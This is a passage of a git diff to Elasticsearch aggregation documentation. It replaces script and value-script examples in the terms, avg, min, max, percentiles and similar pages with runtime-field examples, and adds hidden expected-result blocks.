{"index":{"_id":6}} -{"genre": "electronic"} +{"genre": "electronic", "product": "Anthology A"} {"index":{"_id":7}} -{"genre": "electronic"} +{"genre": "electronic", "product": "Product F"} {"index":{"_id":8}} -{"genre": "electronic"} +{"genre": "electronic", "product": "Product G"} {"index":{"_id":9}} -{"genre": "electronic"} +{"genre": "electronic", "product": "Product H"} {"index":{"_id":10}} -{"genre": "electronic"} - +{"genre": "electronic", "product": "Product I"} ------------------------------------------------- -// NOTCONSOLE // TESTSETUP ////////////////////////// @@ -138,7 +136,7 @@ The higher the requested `size` is, the more accurate the results will be, but a compute the final results (both due to bigger priority queues that are managed on a shard level and due to bigger data transfers between the nodes and the client). -The `shard_size` parameter can be used to minimize the extra work that comes with bigger requested `size`. When defined, +The `shard_size` parameter can be used to minimize the extra work that comes with bigger requested `size`. When defined, it will determine how many terms the coordinating node will request from each shard. Once all the shards responded, the coordinating node will then reduce them to a final result which will be based on the `size` parameter - this way, one can increase the accuracy of the returned terms and avoid the overhead of streaming a big list of buckets back to @@ -193,7 +191,7 @@ determined and is given a value of -1 to indicate this. ==== Order The order of the buckets can be customized by setting the `order` parameter. By default, the buckets are ordered by -their `doc_count` descending. It is possible to change this behaviour as documented below: +their `doc_count` descending. It is possible to change this behaviour as documented below: WARNING: Sorting by ascending `_count` or by sub aggregation is discouraged as it increases the <> on document counts. @@ -285,7 +283,7 @@ GET /_search ======================================= <> are run during the -reduce phase after all other aggregations have already completed. For this +reduce phase after all other aggregations have already completed. For this reason, they cannot be used for ordering. ======================================= @@ -388,10 +386,12 @@ The above aggregation would only return tags which have been found in 10 hits or Terms are collected and ordered on a shard level and merged with the terms collected from other shards in a second step. However, the shard does not have the information about the global document count available. The decision if a term is added to a candidate list depends only on the order computed on the shard using local shard frequencies. The `min_doc_count` criterion is only applied after merging local terms statistics of all shards. In a way the decision to add the term as a candidate is made without being very _certain_ about if the term will actually reach the required `min_doc_count`. This might cause many (globally) high frequent terms to be missing in the final result if low frequent terms populated the candidate lists. To avoid this, the `shard_size` parameter can be increased to allow more candidate terms on the shards. However, this increases memory consumption and network traffic. -`shard_min_doc_count` parameter +[[search-aggregations-bucket-terms-shard-min-doc-count]] +===== `shard_min_doc_count` +// tag::min-doc-count[] The parameter `shard_min_doc_count` regulates the _certainty_ a shard has if the term should actually be added to the candidate list or not with respect to the `min_doc_count`. Terms will only be considered if their local shard frequency within the set is higher than the `shard_min_doc_count`. If your dictionary contains many low frequent terms and you are not interested in those (for example misspellings), then you can set the `shard_min_doc_count` parameter to filter out candidate terms on a shard level that will with a reasonable certainty not reach the required `min_doc_count` even after merging the local counts. `shard_min_doc_count` is set to `0` per default and has no effect unless you explicitly set it. - +// end::min-doc-count[] NOTE: Setting `min_doc_count`=`0` will also return buckets for terms that didn't match any hit. However, some of @@ -407,81 +407,80 @@ WARNING: When NOT sorting on `doc_count` descending, high values of `min_doc_cou [[search-aggregations-bucket-terms-aggregation-script]] ==== Script -Generating the terms using a script: +Use a <> if the data in your documents doesn't +exactly match what you'd like to aggregate. If, for example, "anthologies" +need to be in a special category then you could run this: [source,console,id=terms-aggregation-script-example] -------------------------------------------------- GET /_search { - "aggs": { - "genres": { - "terms": { - "script": { - "source": "doc['genre'].value", - "lang": "painless" + "size": 0, + "runtime_mappings": { + "normalized_genre": { + "type": "keyword", + "script": """ + String genre = doc['genre'].value; + if (doc['product'].value.startsWith('Anthology')) { + emit(genre + ' anthology'); + } else { + emit(genre); } - } + """ } - } -} --------------------------------------------------- - -This will interpret the `script` parameter as an `inline` script with the default script language and no script parameters. To use a stored script use the following syntax: - -////////////////////////// - -[source,console,id=terms-aggregation-stored-example] --------------------------------------------------- -POST /_scripts/my_script -{ - "script": { - "lang": "painless", - "source": "doc[params.field].value" - } -} --------------------------------------------------- - -////////////////////////// - -[source,console] --------------------------------------------------- -GET /_search -{ + }, "aggs": { "genres": { "terms": { - "script": { - "id": "my_script", - "params": { - "field": "genre" - } - } + "field": "normalized_genre" } } } } -------------------------------------------------- -// TEST[continued] -==== Value Script +Which will look like: -[source,console,id=terms-aggregation-value-script-example] +[source,console-result] -------------------------------------------------- -GET /_search { - "aggs": { + "aggregations": { "genres": { - "terms": { - "field": "genre", - "script": { - "source": "'Genre: ' +_value", - "lang": "painless" + "doc_count_error_upper_bound": 0, + "sum_other_doc_count": 0, + "buckets": [ + { + "key": "electronic", + "doc_count": 4 + }, + { + "key": "rock", + "doc_count": 3 + }, + { + "key": "electronic anthology", + "doc_count": 2 + }, + { + "key": "jazz", + "doc_count": 2 } - } + ] } - } + }, + ... } -------------------------------------------------- +// TESTRESPONSE[s/\.\.\./"took": "$body.took", "timed_out": false, "_shards": "$body._shards", "hits": "$body.hits"/] + +This is a little slower because the runtime field has to access two fields +instead of one and because there are some optimizations that work on +non-runtime `keyword` fields that we have to give up for for runtime +`keyword` fields. If you need the speed, you can index the +`normalized_genre` field. + +// TODO when we have calculated fields we can link to them here. + ==== Filtering Values @@ -607,10 +606,10 @@ WARNING: Partitions cannot be used together with an `exclude` parameter. ==== Multi-field terms aggregation The `terms` aggregation does not support collecting terms from multiple fields -in the same document. The reason is that the `terms` agg doesn't collect the +in the same document. The reason is that the `terms` agg doesn't collect the string term values themselves, but rather uses <> -to produce a list of all of the unique values in the field. Global ordinals +to produce a list of all of the unique values in the field. Global ordinals results in an important performance boost which would not be possible across multiple fields. @@ -619,7 +618,7 @@ multiple fields: <>:: -Use a script to retrieve terms from multiple fields. This disables the global +Use a script to retrieve terms from multiple fields. This disables the global ordinals optimization and will be slower than collecting terms from a single field, but it gives you the flexibility to implement this option at search time. @@ -628,7 +627,7 @@ time. If you know ahead of time that you want to collect the terms from two or more fields, then use `copy_to` in your mapping to create a new dedicated field at -index time which contains the values from both fields. You can aggregate on +index time which contains the values from both fields. You can aggregate on this single field, which will benefit from the global ordinals optimization. <>:: diff --git a/docs/reference/aggregations/metrics/avg-aggregation.asciidoc b/docs/reference/aggregations/metrics/avg-aggregation.asciidoc index 29178c6d388cd..05d112a13ac03 100644 --- a/docs/reference/aggregations/metrics/avg-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/avg-aggregation.asciidoc @@ -4,7 +4,7 @@ Avg ++++ -A `single-value` metrics aggregation that computes the average of numeric values that are extracted from the aggregated documents. These values can be extracted either from specific numeric fields in the documents, or be generated by a provided script. +A `single-value` metrics aggregation that computes the average of numeric values that are extracted from the aggregated documents. These values can be extracted either from specific numeric fields in the documents. Assuming the data consists of documents representing exams grades (between 0 and 100) of students we can average their scores with: @@ -39,72 +39,48 @@ The name of the aggregation (`avg_grade` above) also serves as the key by which ==== Script -Computing the average grade based on a script: +Let's say the exam was exceedingly difficult, and you need to apply a grade correction. Average a <> to get a corrected average: [source,console] --------------------------------------------------- +---- POST /exams/_search?size=0 { - "aggs": { - "avg_grade": { - "avg": { - "script": { - "source": "doc.grade.value" + "runtime_mappings": { + "grade.corrected": { + "type": "double", + "script": { + "source": "emit(Math.min(100, doc['grade'].value * params.correction))", + "params": { + "correction": 1.2 } } } - } -} --------------------------------------------------- -// TEST[setup:exams] - -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax: - -[source,console] --------------------------------------------------- -POST /exams/_search?size=0 -{ + }, "aggs": { - "avg_grade": { + "avg_corrected_grade": { "avg": { - "script": { - "id": "my_script", - "params": { - "field": "grade" - } - } + "field": "grade.corrected" } } } } --------------------------------------------------- -// TEST[setup:exams,stored_example_script] - -===== Value Script - -It turned out that the exam was way above the level of the students and a grade correction needs to be applied. We can use value script to get the new average: +---- +// TEST[setup:exams] +// TEST[s/size=0/size=0&filter_path=aggregations/] -[source,console] --------------------------------------------------- -POST /exams/_search?size=0 +//// +[source,console-result] +---- { - "aggs": { + "aggregations": { "avg_corrected_grade": { - "avg": { - "field": "grade", - "script": { - "lang": "painless", - "source": "_value * params.correction", - "params": { - "correction": 1.2 - } - } - } + "value": 80.0 } } } --------------------------------------------------- -// TEST[setup:exams] +---- +//// + ==== Missing value diff --git a/docs/reference/aggregations/metrics/boxplot-aggregation.asciidoc b/docs/reference/aggregations/metrics/boxplot-aggregation.asciidoc index a4c2c4273726f..725705a85798f 100644 --- a/docs/reference/aggregations/metrics/boxplot-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/boxplot-aggregation.asciidoc @@ -7,8 +7,7 @@ ++++ A `boxplot` metrics aggregation that computes boxplot of numeric values extracted from the aggregated documents. -These values can be generated by a provided script or extracted from specific numeric or -<> in the documents. +These values can be generated from specific numeric or <> in the documents. The `boxplot` aggregation returns essential information for making a {wikipedia}/Box_plot[box plot]: minimum, maximum, median, first quartile (25th percentile) and third quartile (75th percentile) values. @@ -68,67 +67,64 @@ The response will look like this: -------------------------------------------------- // TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] -In this case, the lower and upper whisker values are equal to the min and max. In general, these values are the 1.5 * -IQR range, which is to say the nearest values to `q1 - (1.5 * IQR)` and `q3 + (1.5 * IQR)`. Since this is an approximation, the given values -may not actually be observed values from the data, but should be within a reasonable error bound of them. While the Boxplot aggregation +In this case, the lower and upper whisker values are equal to the min and max. In general, these values are the 1.5 * +IQR range, which is to say the nearest values to `q1 - (1.5 * IQR)` and `q3 + (1.5 * IQR)`. Since this is an approximation, the given values +may not actually be observed values from the data, but should be within a reasonable error bound of them. While the Boxplot aggregation doesn't directly return outlier points, you can check if `lower > min` or `upper < max` to see if outliers exist on either side, and then query for them directly. ==== Script -The boxplot metric supports scripting. For example, if our load times -are in milliseconds but we want values calculated in seconds, we could use -a script to convert them on-the-fly: +If you need to create a boxplot for values that aren't indexed exactly you +should create a <> and get the boxplot of that. For +example, if your load times are in milliseconds but you want values calculated +in seconds, use a runtime field to convert them: [source,console] --------------------------------------------------- +---- GET latency/_search { "size": 0, - "aggs": { - "load_time_boxplot": { - "boxplot": { - "script": { - "lang": "painless", - "source": "doc['load_time'].value / params.timeUnit", <1> - "params": { - "timeUnit": 1000 <2> - } + "runtime_mappings": { + "load_time.seconds": { + "type": "long", + "script": { + "source": "emit(doc['load_time'].value / params.timeUnit)", + "params": { + "timeUnit": 1000 } } } + }, + "aggs": { + "load_time_boxplot": { + "boxplot": { "field": "load_time.seconds" } + } } } --------------------------------------------------- +---- // TEST[setup:latency] +// TEST[s/_search/_search?filter_path=aggregations/] +// TEST[s/"timeUnit": 1000/"timeUnit": 10/] -<1> The `field` parameter is replaced with a `script` parameter, which uses the -script to generate values which percentiles are calculated on -<2> Scripting supports parameterized input just like any other script - -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a -stored script use the following syntax: - -[source,console] +//// +[source,console-result] -------------------------------------------------- -GET latency/_search { - "size": 0, - "aggs": { + "aggregations": { "load_time_boxplot": { - "boxplot": { - "script": { - "id": "my_script", - "params": { - "field": "load_time" - } - } - } + "min": 0.0, + "max": 99.0, + "q1": 16.5, + "q2": 44.5, + "q3": 72.5, + "lower": 0.0, + "upper": 99.0 } } } -------------------------------------------------- -// TEST[setup:latency,stored_example_script] +//// [[search-aggregations-metrics-boxplot-aggregation-approximation]] ==== Boxplot values are (usually) approximate diff --git a/docs/reference/aggregations/metrics/cardinality-aggregation.asciidoc b/docs/reference/aggregations/metrics/cardinality-aggregation.asciidoc index 409af6cc7dfc9..119e009e5359a 100644 --- a/docs/reference/aggregations/metrics/cardinality-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/cardinality-aggregation.asciidoc @@ -5,8 +5,7 @@ ++++ A `single-value` metrics aggregation that calculates an approximate count of -distinct values. Values can be extracted either from specific fields in the -document or generated by a script. +distinct values. Assume you are indexing store sales and would like to count the unique number of sold products that match a query: @@ -152,8 +151,8 @@ public static void main(String[] args) { image:images/cardinality_error.png[] For all 3 thresholds, counts have been accurate up to the configured threshold. -Although not guaranteed, this is likely to be the case. Accuracy in practice depends -on the dataset in question. In general, most datasets show consistently good +Although not guaranteed, this is likely to be the case. Accuracy in practice depends +on the dataset in question. In general, most datasets show consistently good accuracy. Also note that even with a threshold as low as 100, the error remains very low (1-6% as seen in the above graph) even when counting millions of items. @@ -181,49 +180,43 @@ make sure that hashes are computed at most once per unique value per segment. ==== Script -The `cardinality` metric supports scripting, with a noticeable performance hit -however since hashes need to be computed on the fly. +If you need the cardinality of the combination of two fields, +create a <> combining them and aggregate it. [source,console] --------------------------------------------------- +---- POST /sales/_search?size=0 { + "runtime_mappings": { + "type_and_promoted": { + "type": "keyword", + "script": "emit(doc['type'].value + ' ' + doc['promoted'].value)" + } + }, "aggs": { "type_promoted_count": { "cardinality": { - "script": { - "lang": "painless", - "source": "doc['type'].value + ' ' + doc['promoted'].value" - } + "field": "type_and_promoted" } } } } --------------------------------------------------- +---- // TEST[setup:sales] +// TEST[s/size=0/size=0&filter_path=aggregations/] -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax: - -[source,console] +//// +[source,console-result] -------------------------------------------------- -POST /sales/_search?size=0 { - "aggs": { + "aggregations": { "type_promoted_count": { - "cardinality": { - "script": { - "id": "my_script", - "params": { - "type_field": "type", - "promoted_field": "promoted" - } - } - } + "value": 5 } } } -------------------------------------------------- -// TEST[skip:no script] +//// ==== Missing value diff --git a/docs/reference/aggregations/metrics/extendedstats-aggregation.asciidoc b/docs/reference/aggregations/metrics/extendedstats-aggregation.asciidoc index c6283c3867f71..4bd614b47b4d7 100644 --- a/docs/reference/aggregations/metrics/extendedstats-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/extendedstats-aggregation.asciidoc @@ -4,7 +4,7 @@ Extended stats ++++ -A `multi-value` metrics aggregation that computes stats over numeric values extracted from the aggregated documents. These values can be extracted either from specific numeric fields in the documents, or be generated by a provided script. +A `multi-value` metrics aggregation that computes stats over numeric values extracted from the aggregated documents. The `extended_stats` aggregations is an extended version of the <> aggregation, where additional metrics are added such as `sum_of_squares`, `variance`, `std_deviation` and `std_deviation_bounds`. @@ -63,7 +63,7 @@ The name of the aggregation (`grades_stats` above) also serves as the key by whi ==== Standard Deviation Bounds By default, the `extended_stats` metric will return an object called `std_deviation_bounds`, which provides an interval of plus/minus two standard -deviations from the mean. This can be a useful way to visualize variance of your data. If you want a different boundary, for example +deviations from the mean. This can be a useful way to visualize variance of your data. If you want a different boundary, for example three standard deviations, you can set `sigma` in the request: [source,console] @@ -84,7 +84,7 @@ GET /exams/_search // TEST[setup:exams] <1> `sigma` controls how many standard deviations +/- from the mean should be displayed -`sigma` can be any non-negative double, meaning you can request non-integer values such as `1.5`. A value of `0` is valid, but will simply +`sigma` can be any non-negative double, meaning you can request non-integer values such as `1.5`. A value of `0` is valid, but will simply return the average for both `upper` and `lower` bounds. The `upper` and `lower` bounds are calculated as population metrics so they are always the same as `upper_population` and @@ -93,83 +93,74 @@ The `upper` and `lower` bounds are calculated as population metrics so they are .Standard Deviation and Bounds require normality [NOTE] ===== -The standard deviation and its bounds are displayed by default, but they are not always applicable to all data-sets. Your data must -be normally distributed for the metrics to make sense. The statistics behind standard deviations assumes normally distributed data, so +The standard deviation and its bounds are displayed by default, but they are not always applicable to all data-sets. Your data must +be normally distributed for the metrics to make sense. The statistics behind standard deviations assumes normally distributed data, so if your data is skewed heavily left or right, the value returned will be misleading. ===== ==== Script -Computing the grades stats based on a script: +If you need to aggregate on a value that isn't indexed, use a <>. +Say the we found out that the grades we've been working on were for an exam that was above +the level of the students and we want to "correct" it: [source,console] --------------------------------------------------- +---- GET /exams/_search { "size": 0, - "aggs": { - "grades_stats": { - "extended_stats": { - "script": { - "source": "doc['grade'].value", - "lang": "painless" + "runtime_mappings": { + "grade.corrected": { + "type": "double", + "script": { + "source": "emit(Math.min(100, doc['grade'].value * params.correction))", + "params": { + "correction": 1.2 } } } - } -} --------------------------------------------------- -// TEST[setup:exams] - -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax: - -[source,console] --------------------------------------------------- -GET /exams/_search -{ - "size": 0, + }, "aggs": { "grades_stats": { - "extended_stats": { - "script": { - "id": "my_script", - "params": { - "field": "grade" - } - } - } + "extended_stats": { "field": "grade.corrected" } } } } --------------------------------------------------- -// TEST[setup:exams,stored_example_script] - -===== Value Script - -It turned out that the exam was way above the level of the students and a grade correction needs to be applied. We can use value script to get the new stats: +---- +// TEST[setup:exams] +// TEST[s/_search/_search?filter_path=aggregations/] -[source,console] --------------------------------------------------- -GET /exams/_search +//// +[source,console-result] +---- { - "size": 0, - "aggs": { + "aggregations": { "grades_stats": { - "extended_stats": { - "field": "grade", - "script": { - "lang": "painless", - "source": "_value * params.correction", - "params": { - "correction": 1.2 - } - } + "count": 2, + "min": 60.0, + "max": 100.0, + "avg": 80.0, + "sum": 160.0, + "sum_of_squares": 13600.0, + "variance": 400.0, + "variance_population": 400.0, + "variance_sampling": 800.0, + "std_deviation": 20.0, + "std_deviation_population": 20.0, + "std_deviation_sampling": 28.284271247461902, + "std_deviation_bounds": { + "upper": 120.0, + "lower": 40.0, + "upper_population": 120.0, + "lower_population": 40.0, + "upper_sampling": 136.5685424949238, + "lower_sampling": 23.431457505076196 } } } } --------------------------------------------------- -// TEST[setup:exams] +---- +//// ==== Missing value diff --git a/docs/reference/aggregations/metrics/matrix-stats-aggregation.asciidoc b/docs/reference/aggregations/metrics/matrix-stats-aggregation.asciidoc index bc7b0743f4019..730d554ec4e57 100644 --- a/docs/reference/aggregations/metrics/matrix-stats-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/matrix-stats-aggregation.asciidoc @@ -140,7 +140,3 @@ GET /_search -------------------------------------------------- <1> Documents without a value in the `income` field will have the default value `50000`. - -==== Script - -This aggregation family does not yet support scripting. diff --git a/docs/reference/aggregations/metrics/max-aggregation.asciidoc b/docs/reference/aggregations/metrics/max-aggregation.asciidoc index cb6a3f64ab7c2..b5a34fd3f9b2b 100644 --- a/docs/reference/aggregations/metrics/max-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/max-aggregation.asciidoc @@ -5,9 +5,7 @@ ++++ A `single-value` metrics aggregation that keeps track and returns the maximum -value among the numeric values extracted from the aggregated documents. These -values can be extracted either from specific numeric fields in the documents, -or be generated by a provided script. +value among the numeric values extracted from the aggregated documents. NOTE: The `min` and `max` aggregation operate on the `double` representation of the data. As a consequence, the result may be approximate when running on longs @@ -47,76 +45,49 @@ response. ==== Script -The `max` aggregation can also calculate the maximum of a script. The example -below computes the maximum price: +If you need to get the `max` of something more complex than a single field, +run an aggregation on a <>. [source,console] --------------------------------------------------- +---- POST /sales/_search { - "aggs" : { - "max_price" : { - "max" : { - "script" : { - "source" : "doc.price.value" - } - } - } + "size": 0, + "runtime_mappings": { + "price.adjusted": { + "type": "double", + "script": """ + double price = doc['price'].value; + if (doc['promoted'].value) { + price *= 0.8; + } + emit(price); + """ + } + }, + "aggs": { + "max_price": { + "max": { "field": "price.adjusted" } + } } } --------------------------------------------------- +---- // TEST[setup:sales] +// TEST[s/_search/_search?filter_path=aggregations/] -This will use the <> scripting language -and no script parameters. To use a stored script use the following syntax: - -[source,console] +//// +[source,console-result] -------------------------------------------------- -POST /sales/_search { - "aggs" : { - "max_price" : { - "max" : { - "script" : { - "id": "my_script", - "params": { - "field": "price" - } - } - } + "aggregations": { + "max_price": { + "value": 175.0 } } } -------------------------------------------------- -// TEST[setup:sales,stored_example_script] - -==== Value Script - -Let's say that the prices of the documents in our index are in USD, but we -would like to compute the max in EURO (and for the sake of this example, let's -say the conversion rate is 1.2). We can use a value script to apply the -conversion rate to every value before it is aggregated: +//// -[source,console] --------------------------------------------------- -POST /sales/_search -{ - "aggs" : { - "max_price_in_euros" : { - "max" : { - "field" : "price", - "script" : { - "source" : "_value * params.conversion_rate", - "params" : { - "conversion_rate" : 1.2 - } - } - } - } - } -} --------------------------------------------------- -// TEST[setup:sales] ==== Missing value diff --git a/docs/reference/aggregations/metrics/median-absolute-deviation-aggregation.asciidoc b/docs/reference/aggregations/metrics/median-absolute-deviation-aggregation.asciidoc index 21811542073c9..6c72edfe0af78 100644 --- a/docs/reference/aggregations/metrics/median-absolute-deviation-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/median-absolute-deviation-aggregation.asciidoc @@ -109,56 +109,56 @@ but observed performance will depend on the sample data. ==== Script -This metric aggregation supports scripting. In our example above, product -reviews are on a scale of one to five. If we wanted to modify them to a scale -of one to ten, we can using scripting. - -To provide an inline script: +In the example above, product reviews are on a scale of one to five. If you +want to modify them to a scale of one to ten, use a <>. [source,console] ---------------------------------------------------------- -GET reviews/_search +---- +GET reviews/_search?filter_path=aggregations { "size": 0, + "runtime_mappings": { + "rating.out_of_ten": { + "type": "long", + "script": { + "source": "emit(doc['rating'].value * params.scaleFactor)", + "params": { + "scaleFactor": 2 + } + } + } + }, "aggs": { + "review_average": { + "avg": { + "field": "rating.out_of_ten" + } + }, "review_variability": { "median_absolute_deviation": { - "script": { - "lang": "painless", - "source": "doc['rating'].value * params.scaleFactor", - "params": { - "scaleFactor": 2 - } - } + "field": "rating.out_of_ten" } } } } ---------------------------------------------------------- +---- // TEST[setup:reviews] -To provide a stored script: +Which will result in: -[source,console] +[source,console-result] --------------------------------------------------------- -GET reviews/_search { - "size": 0, - "aggs": { + "aggregations": { + "review_average": { + "value": 6.0 + }, "review_variability": { - "median_absolute_deviation": { - "script": { - "id": "my_script", - "params": { - "field": "rating" - } - } - } + "value": 4.0 } } } --------------------------------------------------------- -// TEST[setup:reviews,stored_example_script] ==== Missing value diff --git a/docs/reference/aggregations/metrics/min-aggregation.asciidoc b/docs/reference/aggregations/metrics/min-aggregation.asciidoc index d6614e4fd48fc..04a5fb42afe03 100644 --- a/docs/reference/aggregations/metrics/min-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/min-aggregation.asciidoc @@ -5,9 +5,7 @@ ++++ A `single-value` metrics aggregation that keeps track and returns the minimum -value among numeric values extracted from the aggregated documents. These -values can be extracted either from specific numeric fields in the documents, -or be generated by a provided script. +value among numeric values extracted from the aggregated documents. NOTE: The `min` and `max` aggregation operate on the `double` representation of the data. As a consequence, the result may be approximate when running on longs @@ -48,76 +46,48 @@ response. ==== Script -The `min` aggregation can also calculate the minimum of a script. The example -below computes the minimum price: +If you need to get the `min` of something more complex than a single field, +run the aggregation on a <>. [source,console] --------------------------------------------------- +---- POST /sales/_search { - "aggs": { - "min_price": { - "min": { - "script": { - "source": "doc.price.value" + "size": 0, + "runtime_mappings": { + "price.adjusted": { + "type": "double", + "script": """ + double price = doc['price'].value; + if (doc['promoted'].value) { + price *= 0.8; } - } + emit(price); + """ } - } -} --------------------------------------------------- -// TEST[setup:sales] - -This will use the <> scripting language -and no script parameters. To use a stored script use the following syntax: - -[source,console] --------------------------------------------------- -POST /sales/_search -{ + }, "aggs": { "min_price": { - "min": { - "script": { - "id": "my_script", - "params": { - "field": "price" - } - } - } + "min": { "field": "price.adjusted" } } } } --------------------------------------------------- -// TEST[setup:sales,stored_example_script] - -==== Value Script - -Let's say that the prices of the documents in our index are in USD, but we -would like to compute the min in EURO (and for the sake of this example, let's -say the conversion rate is 1.2). We can use a value script to apply the -conversion rate to every value before it is aggregated: +---- +// TEST[setup:sales] +// TEST[s/_search/_search?filter_path=aggregations/] -[source,console] +//// +[source,console-result] -------------------------------------------------- -POST /sales/_search { - "aggs": { - "min_price_in_euros": { - "min": { - "field": "price", - "script": { - "source": "_value * params.conversion_rate", - "params": { - "conversion_rate": 1.2 - } - } + "aggregations": { + "min_price": { + "value": 8.0 } - } } } -------------------------------------------------- -// TEST[setup:sales] +//// ==== Missing value diff --git a/docs/reference/aggregations/metrics/percentile-aggregation.asciidoc b/docs/reference/aggregations/metrics/percentile-aggregation.asciidoc index 460d7c05906c6..d4e2965706eb0 100644 --- a/docs/reference/aggregations/metrics/percentile-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/percentile-aggregation.asciidoc @@ -6,23 +6,22 @@ A `multi-value` metrics aggregation that calculates one or more percentiles over numeric values extracted from the aggregated documents. These values can be -generated by a provided script or extracted from specific numeric or -<> in the documents. +extracted from specific numeric or <> in the documents. Percentiles show the point at which a certain percentage of observed values -occur. For example, the 95th percentile is the value which is greater than 95% +occur. For example, the 95th percentile is the value which is greater than 95% of the observed values. -Percentiles are often used to find outliers. In normal distributions, the +Percentiles are often used to find outliers. In normal distributions, the 0.13th and 99.87th percentiles represents three standard deviations from the -mean. Any data which falls outside three standard deviations is often considered +mean. Any data which falls outside three standard deviations is often considered an anomaly. When a range of percentiles are retrieved, they can be used to estimate the data distribution and determine if the data is skewed, bimodal, etc. -Assume your data consists of website load times. The average and median -load times are not overly useful to an administrator. The max may be interesting, +Assume your data consists of website load times. The average and median +load times are not overly useful to an administrator. The max may be interesting, but it can be easily skewed by a single slow response. Let's look at a range of percentiles representing load time: @@ -45,7 +44,7 @@ GET latency/_search <1> The field `load_time` must be a numeric field By default, the `percentile` metric will generate a range of -percentiles: `[ 1, 5, 25, 50, 75, 95, 99 ]`. The response will look like this: +percentiles: `[ 1, 5, 25, 50, 75, 95, 99 ]`. The response will look like this: [source,console-result] -------------------------------------------------- @@ -70,7 +69,7 @@ percentiles: `[ 1, 5, 25, 50, 75, 95, 99 ]`. The response will look like this: // TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] As you can see, the aggregation will return a calculated value for each percentile -in the default range. If we assume response times are in milliseconds, it is +in the default range. If we assume response times are in milliseconds, it is immediately obvious that the webpage normally loads in 10-725ms, but occasionally spikes to 945-985ms. @@ -164,68 +163,69 @@ Response: ==== Script -The percentile metric supports scripting. For example, if our load times -are in milliseconds but we want percentiles calculated in seconds, we could use -a script to convert them on-the-fly: +If you need to run the aggregation against values that aren't indexed, use +a <>. For example, if our load times +are in milliseconds but you want percentiles calculated in seconds: [source,console] --------------------------------------------------- +---- GET latency/_search { "size": 0, + "runtime_mappings": { + "load_time.seconds": { + "type": "long", + "script": { + "source": "emit(doc['load_time'].value / params.timeUnit)", + "params": { + "timeUnit": 1000 + } + } + } + }, "aggs": { "load_time_outlier": { "percentiles": { - "script": { - "lang": "painless", - "source": "doc['load_time'].value / params.timeUnit", <1> - "params": { - "timeUnit": 1000 <2> - } - } + "field": "load_time.seconds" } } } } --------------------------------------------------- +---- // TEST[setup:latency] +// TEST[s/_search/_search?filter_path=aggregations/] +// TEST[s/"timeUnit": 1000/"timeUnit": 10/] -<1> The `field` parameter is replaced with a `script` parameter, which uses the -script to generate values which percentiles are calculated on -<2> Scripting supports parameterized input just like any other script - -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax: - -[source,console] --------------------------------------------------- -GET latency/_search +//// +[source,console-result] +---- { - "size": 0, - "aggs": { + "aggregations": { "load_time_outlier": { - "percentiles": { - "script": { - "id": "my_script", - "params": { - "field": "load_time" - } - } + "values": { + "1.0": 0.5, + "5.0": 2.5, + "25.0": 16.5, + "50.0": 44.5, + "75.0": 72.5, + "95.0": 94.5, + "99.0": 98.5 } } } } --------------------------------------------------- -// TEST[setup:latency,stored_example_script] +---- +//// [[search-aggregations-metrics-percentile-aggregation-approximation]] ==== Percentiles are (usually) approximate -There are many different algorithms to calculate percentiles. The naive -implementation simply stores all the values in a sorted array. To find the 50th +There are many different algorithms to calculate percentiles. The naive +implementation simply stores all the values in a sorted array. To find the 50th percentile, you simply find the value that is at `my_array[count(my_array) * 0.5]`. Clearly, the naive implementation does not scale -- the sorted array grows -linearly with the number of values in your dataset. To calculate percentiles +linearly with the number of values in your dataset. To calculate percentiles across potentially billions of values in an Elasticsearch cluster, _approximate_ percentiles are calculated. @@ -235,12 +235,12 @@ https://github.com/tdunning/t-digest/blob/master/docs/t-digest-paper/histo.pdf[C When using this metric, there are a few guidelines to keep in mind: -- Accuracy is proportional to `q(1-q)`. This means that extreme percentiles (e.g. 99%) +- Accuracy is proportional to `q(1-q)`. This means that extreme percentiles (e.g. 99%) are more accurate than less extreme percentiles, such as the median - For small sets of values, percentiles are highly accurate (and potentially 100% accurate if the data is small enough). - As the quantity of values in a bucket grows, the algorithm begins to approximate -the percentiles. It is effectively trading accuracy for memory savings. The +the percentiles. It is effectively trading accuracy for memory savings. The exact level of inaccuracy is difficult to generalize, since it depends on your data distribution and volume of data being aggregated @@ -291,18 +291,18 @@ GET latency/_search // tag::t-digest[] The TDigest algorithm uses a number of "nodes" to approximate percentiles -- the more nodes available, the higher the accuracy (and large memory footprint) proportional -to the volume of data. The `compression` parameter limits the maximum number of +to the volume of data. The `compression` parameter limits the maximum number of nodes to `20 * compression`. Therefore, by increasing the compression value, you can increase the accuracy of -your percentiles at the cost of more memory. Larger compression values also +your percentiles at the cost of more memory. Larger compression values also make the algorithm slower since the underlying tree data structure grows in size, -resulting in more expensive operations. The default compression value is +resulting in more expensive operations. The default compression value is `100`. A "node" uses roughly 32 bytes of memory, so under worst-case scenarios (large amount of data which arrives sorted and in-order) the default settings will produce a -TDigest roughly 64KB in size. In practice data tends to be more random and +TDigest roughly 64KB in size. In practice data tends to be more random and the TDigest will use less memory. // end::t-digest[] diff --git a/docs/reference/aggregations/metrics/percentile-rank-aggregation.asciidoc b/docs/reference/aggregations/metrics/percentile-rank-aggregation.asciidoc index 6a76226fde3be..689ca448d4282 100644 --- a/docs/reference/aggregations/metrics/percentile-rank-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/percentile-rank-aggregation.asciidoc @@ -6,8 +6,7 @@ A `multi-value` metrics aggregation that calculates one or more percentile ranks over numeric values extracted from the aggregated documents. These values can be -generated by a provided script or extracted from specific numeric or -<> in the documents. +extracted from specific numeric or <> in the documents. 